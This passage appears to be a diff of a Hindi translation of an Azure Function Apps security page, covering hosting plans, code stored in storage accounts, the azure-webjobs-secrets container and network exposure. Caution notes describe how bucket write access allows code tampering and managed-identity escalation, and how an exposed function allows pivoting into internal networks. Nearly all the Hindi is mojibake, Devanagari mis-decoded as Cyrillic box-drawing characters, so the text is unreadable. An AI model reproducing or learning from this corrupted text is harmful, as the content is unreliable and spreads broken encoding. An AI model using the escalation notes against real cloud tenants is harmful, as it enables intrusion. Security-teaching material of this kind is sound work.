рдХреЗ рдЖрдзрд╛рд░ рдкрд░ function рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдпрд╛ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ **virtual networking** рдФрд░ **pre-provisioned instances** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдардВрдбреА рд╢реБрд░реБрдЖрдд рдХреЛ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **variable workloads** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдХрдВрдЯреЗрдирд░ рд╕рдорд░реНрдерди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред -- **Traditional Consumption Plan**: рдбрд┐рдлрд╝реЙрд▓реНрдЯ serverless рд╡рд┐рдХрд▓реНрдк, рдЬрд╣рд╛рдВ рдЖрдк **рдХреЗрд╡рд▓ рддрдм рднреБрдЧрддрд╛рди рдХрд░рддреЗ рд╣реИрдВ рдЬрдм functions рдЪрд▓рддреЗ рд╣реИрдВ**ред рдпрд╣ рдЖрдиреЗ рд╡рд╛рд▓реА рдШрдЯрдирд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реНрдХреЗрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ **cold start optimizations** рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдХрдВрдЯреЗрдирд░ рддреИрдирд╛рддреА рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред **intermittent workloads** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреЗрд▓рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- **Premium Plan**: **consistent performance** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдардВрдбреА рд╢реБрд░реБрдЖрдд рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **prewarmed workers** рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ **extended execution times, virtual networking** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ **custom Linux images** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **mission-critical applications** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдЪреНрдЪ рдкреНрд░рджрд░реНрд╢рди рдФрд░ рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- **Dedicated Plan**: рд╕рдорд░реНрдкрд┐рдд рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдкрд░ рдЪрд▓рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ **predictable billing** рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдореИрдиреБрдЕрд▓ рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреЗрд▓рд┐рдВрдЧ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╣реА рдпреЛрдЬрдирд╛ рдкрд░ рдХрдИ рдРрдк рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, **compute isolation** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ App Service Environments рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **secure network access** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **long-running applications** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рдЧрд╛рддрд╛рд░ рд╕рдВрд╕рд╛рдзрди рдЖрд╡рдВрдЯрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- **Container Apps**: рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ **containerized function apps** рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдорд╛рдЗрдХреНрд░реЛрд╕рд░реНрд╡рд┐рд╕реЗрдЬ рдФрд░ APIs рдХреЗ рд╕рд╛рдеред рдпрд╣ рдХрд╕реНрдЯрдо рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ, рд╡рд┐рд░рд╛рд╕рддреА рдРрдк рдорд╛рдЗрдЧреНрд░реЗрд╢рди, рдФрд░ **GPU processing** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Kubernetes рдХреНрд▓рд╕реНрдЯрд░ рдкреНрд░рдмрдВрдзрди рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред **event-driven, scalable containerized applications** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред +- **Flex Consumption Plan**: **рдбрд╛рдпрдирд╛рдорд┐рдХ, рдЗрд╡реЗрдВрдЯ-рдбреНрд░рд┐рд╡рди рд╕реНрдХреЗрд▓рд┐рдВрдЧ** рдХреЗ рд╕рд╛рде рдкреЗ-рдПрдЬрд╝-рдпреВ-рдЧреЛ рдореВрд▓реНрдп рдирд┐рд░реНрдзрд╛рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдорд╛рдВрдЧ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдлрд╝рдВрдХреНрд╢рди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдпрд╛ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ **рд╡рд░реНрдЪреБрдЕрд▓ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ** рдФрд░ **рдкреВрд░реНрд╡-рдкреНрд░рд╛рд╡рдзрд╛рдирд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдардВрдбреА рд╢реБрд░реБрдЖрдд рдХреЛ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **рдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдХрд╛рд░реНрдпрднрд╛рд░** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИ рдЬрд┐рд╕реЗ рдХрдВрдЯреЗрдирд░ рд╕рдорд░реНрдерди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред +- **Traditional Consumption Plan**: рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕рд░реНрд╡рд░рд▓реЗрд╕ рд╡рд┐рдХрд▓реНрдк, рдЬрд╣рд╛рдВ рдЖрдк **рдХреЗрд╡рд▓ рддрдм рдХрдВрдкреНрдпреВрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рднреБрдЧрддрд╛рди рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдлрд╝рдВрдХреНрд╢рди рдЪрд▓рддреЗ рд╣реИрдВ**ред рдпрд╣ рдЖрдиреЗ рд╡рд╛рд▓реА рдШрдЯрдирд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реНрдХреЗрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ **рдардВрдбреА рд╢реБрд░реБрдЖрдд рдХреЗ рдЕрдиреБрдХреВрд▓рди** рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдХрдВрдЯреЗрдирд░ рддреИрдирд╛рддреА рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ред **рдЕрдВрддрд░рд╛рд▓ рдХрд╛рд░реНрдпрднрд╛рд░** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреЗрд▓рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- **Premium Plan**: **рд╕рдВрдЧрдд рдкреНрд░рджрд░реНрд╢рди** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдардВрдбреА рд╢реБрд░реБрдЖрдд рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдкреВрд░реНрд╡-рдЧрд░реНрдо рд╢реНрд░рдорд┐рдХ** рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣ **рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп, рд╡рд░реНрдЪреБрдЕрд▓ рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ **рдХрд╕реНрдЯрдо рд▓рд┐рдирдХреНрд╕ рдЫрд╡рд┐рдпреЛрдВ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **рдорд┐рд╢рди-рдХреНрд░рд┐рдЯрд┐рдХрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдЪреНрдЪ рдкреНрд░рджрд░реНрд╢рди рдФрд░ рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- **Dedicated Plan**: рд╕рдорд░реНрдкрд┐рдд рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдкрд░ рдЪрд▓рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ **рдкреВрд░реНрд╡рд╛рдиреБрдореЗрдп рдмрд┐рд▓рд┐рдВрдЧ** рд╣реЛрддреА рд╣реИ рдФрд░ рдореИрдиреБрдЕрд▓ рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреЗрд▓рд┐рдВрдЧ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╣реА рдпреЛрдЬрдирд╛ рдкрд░ рдХрдИ рдРрдк рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, **рдХрдВрдкреНрдпреВрдЯ рдЖрдЗрд╕реЛрд▓реЗрд╢рди** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ **рдРрдк рд╕реЗрд╡рд╛ рд╡рд╛рддрд╛рд╡рд░рдг** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рд╕реБрд░рдХреНрд╖рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдПрдХреНрд╕реЗрд╕** рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рдЧрд╛рддрд╛рд░ рд╕рдВрд╕рд╛рдзрди рдЖрд╡рдВрдЯрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- **Container Apps**: рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ **рдХрдВрдЯреЗрдирд░рд╛рдЗрдЬреНрдб рдлрд╝рдВрдХреНрд╢рди рдРрдкреНрд╕** рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдорд╛рдЗрдХреНрд░реЛрд╕рд░реНрд╡рд┐рд╕реЗрдЬ рдФрд░ APIs рдХреЗ рд╕рд╛рдеред рдпрд╣ рдХрд╕реНрдЯрдо рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ, рд╡рд┐рд░рд╛рд╕рддреА рдРрдк рдорд╛рдЗрдЧреНрд░реЗрд╢рди, рдФрд░ **GPU рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ** рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ Kubernetes рдХреНрд▓рд╕реНрдЯрд░ рдкреНрд░рдмрдВрдзрди рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред **рдЗрд╡реЗрдВрдЯ-рдбреНрд░рд┐рд╡рди, рд╕реНрдХреЗрд▓реЗрдмрд▓ рдХрдВрдЯреЗрдирд░рд╛рдЗрдЬреНрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред ### **Storage Buckets** -рдЬрдм рдПрдХ рдирдпрд╛ Function App рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрдВрдЯреЗрдирд░ рдирд╣реАрдВ рд╣реИ (рд▓реЗрдХрд┐рди рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рджреЗрддрд╛ рд╣реИ), рддреЛ **рдХреЛрдб рдФрд░ рдЕрдиреНрдп Function рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛ рдПрдХ Storage account рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдХреЛрдб рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдмрдирд╛рдПрдЧрд╛ред +рдЬрдм рдПрдХ рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди рдРрдк рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрдВрдЯреЗрдирд░рд╛рдЗрдЬ рдирд╣реАрдВ рд╣реЛрддрд╛ (рд▓реЗрдХрд┐рди рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рджреЗрддрд╛ рд╣реИ), рддреЛ **рдХреЛрдб рдФрд░ рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛ рдПрдХ рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдХреЛрдб рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдмрдирд╛рдПрдЧрд╛ред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдмрдХреЗрдЯ рдХреЗ рдЕрдВрджрд░ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ (рдЬрд┐рд╕ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╛рд░реВрдкреЛрдВ рдореЗрдВ рдЗрд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ), **рдРрдк рдХрд╛ рдХреЛрдб рдирдП рдХреЛрдб рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдЬрдм Function рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рддреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдмрдХреЗрдЯ рдХреЗ рдЕрдВрджрд░ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ (рдЬрд┐рд╕ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╛рд░реВрдкреЛрдВ рдореЗрдВ рдЗрд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ), **рдРрдк рдХрд╛ рдХреЛрдб рдирдП рдХреЛрдб рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред > [!CAUTION] -> рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **рдЗрд╕ рдмрдХреЗрдЯ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХреЛрдб рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдФрд░ Function App рдХреЗ рдЕрдВрджрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХреЛ рдмрдврд╝рд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧреАред +> рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **рдЗрд╕ рдмрдХреЗрдЯ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХреЛрдб рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдРрдк рдХреЗ рдЕрдВрджрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХреЛ рдмрдврд╝рд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧреАред > -> рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА **privilege escalation section** рдореЗрдВ рд╣реИред +> рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА **рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдПрд╕реНрдХрд▓реЗрд╢рди рд╕реЗрдХреНрд╢рди** рдореЗрдВ рд╣реИред -рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **master рдФрд░ functions keys** рдХреЛ рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рдореЗрдВ **`azure-webjobs-secrets`** рдХрдВрдЯреЗрдирд░ рдореЗрдВ **``** рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ JSON рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛред +рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдорд╛рд╕реНрдЯрд░ рдФрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреБрдВрдЬреА** рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рдореЗрдВ **`azure-webjobs-secrets`** рдХрдВрдЯреЗрдирд░ рдореЗрдВ **``** рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ JSON рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдВред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Functions рдХреЛ рдПрдХ рджреВрд░рд╕реНрде рд╕реНрдерд╛рди рдкрд░ рдХреЛрдб рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рднреА рд╣реИ, рдмрд╕ рдЗрд╕рдХреЗ рд▓рд┐рдП URL рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдПрдХ рджреВрд░рд╕реНрде рд╕реНрдерд╛рди рдкрд░ рдХреЛрдб рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рднреА рд╣реИ, рдмрд╕ рдЗрд╕рдХреЗ рд▓рд┐рдП URL рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗред ### Networking HTTP рдЯреНрд░рд┐рдЧрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп: -- рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рднреА рдХреЛ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ** рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдпрд╛ IAM рдЖрдзрд╛рд░рд┐рдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред -- рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдПрдХ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ (VPC)** рд╕реЗ рдПрдХ Function App рдХреЛ **рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ рдпрд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░реЗрдВ**ред +- рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рддрдХ рдкрд╣реБрдВрдЪ** рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдП рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдпрд╛ IAM рдЖрдзрд╛рд░рд┐рдд рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред +- рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдПрдХ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ (VPC)** рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдРрдк рдХреЛ **рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ рдпрд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░реЗрдВ**ред > [!CAUTION] -> рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдПрдХ рдХрдордЬреЛрд░ Function рд╕реЗ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдкрд┐рд╡рдЯ рдХрд░рдирд╛**ред +> рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЙрдЬрд╛рдЧрд░ рдПрдХ рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдкрд┐рд╡рдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ**ред ### **Function App Settings & Environment Variables** -рдпрд╣ рдПрдХ рдРрдк рдХреЗ рдЕрдВрджрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ env рдЪрд░ **`AzureWebJobsStorage`** рдФрд░ **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (рдЕрдиреНрдп рдХреЗ рдмреАрдЪ) рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред 